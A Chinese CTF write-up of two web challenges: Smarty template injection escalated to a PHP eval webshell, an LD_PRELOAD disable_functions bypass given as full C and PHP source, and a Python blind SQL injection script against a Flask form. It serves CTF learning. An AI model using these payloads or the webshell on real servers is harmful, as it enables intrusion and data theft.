根据题目和给的提示模板注入,谷歌走一波,smarty是php的一个模板引擎,根据提示,在这个题目中应该是存在模板注入的,这个题目的主要页面时一个获取IP的api

28

通过页面的提示也很容易得出,这里获取IP时通过xff请求头获取的,所以尝试构造xff请求头,模板注入,查资料可得,php smarty模板注入可以使用{$smarty.version}这条用来查询smaty版本的语句验证,所以这里写入xff中,验证成功

29

在Smarty3的官方文档可以得知

Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如*||*, or, &&, and, is_array(), 等等

所以我们可以利用这个特性使用{if}{/if}来构造payload,先构造{if phpinfo()}{/if}进行验证,验证成功

30

大佬的wp说这里很容易就可以利用这个来构造payload得到flag,但是我尝试了很久,命令执行都没有回显,于是又到处去找了一下其他的wp,发现在buuctf上面也有这道题,而且这道题直接就可以命令执行,得到flag,后面猜测buu上面的题目可能没有完整复现,省略了一些方法的过滤,所以buu执行成功了,攻防世界题目要求更高就无法成功,所以 咕咕咕

20200419补充

重新看了题目,终于有突破了,在phpinfo中其实就可以知道,禁用了很多命令执行的函数,而且限制了访问路径

601

602

查资料(看WP)知道,这里可以利用mail和putenv这两个函数,使用LD_PRELOAD来达成命令执行

首先写个shell

payload:{file_put_contents('/var/www/html/shell.php','<?php eval($_POST[xianyu]);?>')}

通过这个shell上传我们需要的文件

第一个文件为LD_PRELOAD的C程序编译生成的so文件,代码如下,在linux下gcc编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");

// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}

// executive command
system(cmdline);
}

第二个文件为,可访问的php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "","");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>

这个库里面有打包好的全套文件上传直接用:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

603

然后就可以访问上传的php,getflag

604

Web_python_flask_sql_injection

下载附件进行代码审计,是flask框架(题目名字也说了),在注册页面的邮箱处可以进行盲注,如果执行成功,页面会提示,邮箱已注册,通过这个信息进行盲注

701

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
from bs4 import BeautifulSoup

url = "http://111.198.29.45:52486/register"
error = 'Please use a different email address.'

r = requests.get(url)
bs = BeautifulSoup(r.text,"html5lib")
token = bs.find_all(id = 'csrf_token')[0].get("value")

result = ''

#开始注入遍历
for i in range(1,100):
for j in range(32,127):
#查数据库名:
sql1 = "(SELECT/**/GROUP_CONCAT(schema_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.SCHEMATA)"
#查表名 :
sql2 = "(SELECT/**/GROUP_CONCAT(table_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/WHERE/**/TABLE_SCHEMA=DATABASE())"
#查列名 :
sql3 = "(SELECT/**/GROUP_CONCAT(column_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_NAME='flag')"
#查数据 :
sql4 = "(SELECT/**/GROUP_CONCAT(flag/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/flag)"

payload = "1'/**/or/**/ascii(substr("+ sql4 +",%d,1))=%d#/**/@admin.com" % (i, j)
postData = {
'csrf_token' : token,
'username' : 'admin',
'email' : payload,
'password' : '123456',
'password2' : '123456',
'submit' : 'Register'
}
r = requests.post(url, data = postData)
bs = BeautifulSoup(r.text, "html5lib")
token = bs.find_all(id = 'csrf_token')[0].get("value")
if error in r.text:
result += chr(j)
print(result)
break

123

PS:明天就要回家,怎么说呢?心情有些烦躁,在学校呆了10天左右,感觉自己啥也没做,越来越怠惰了,我需要整理一下自己的情绪了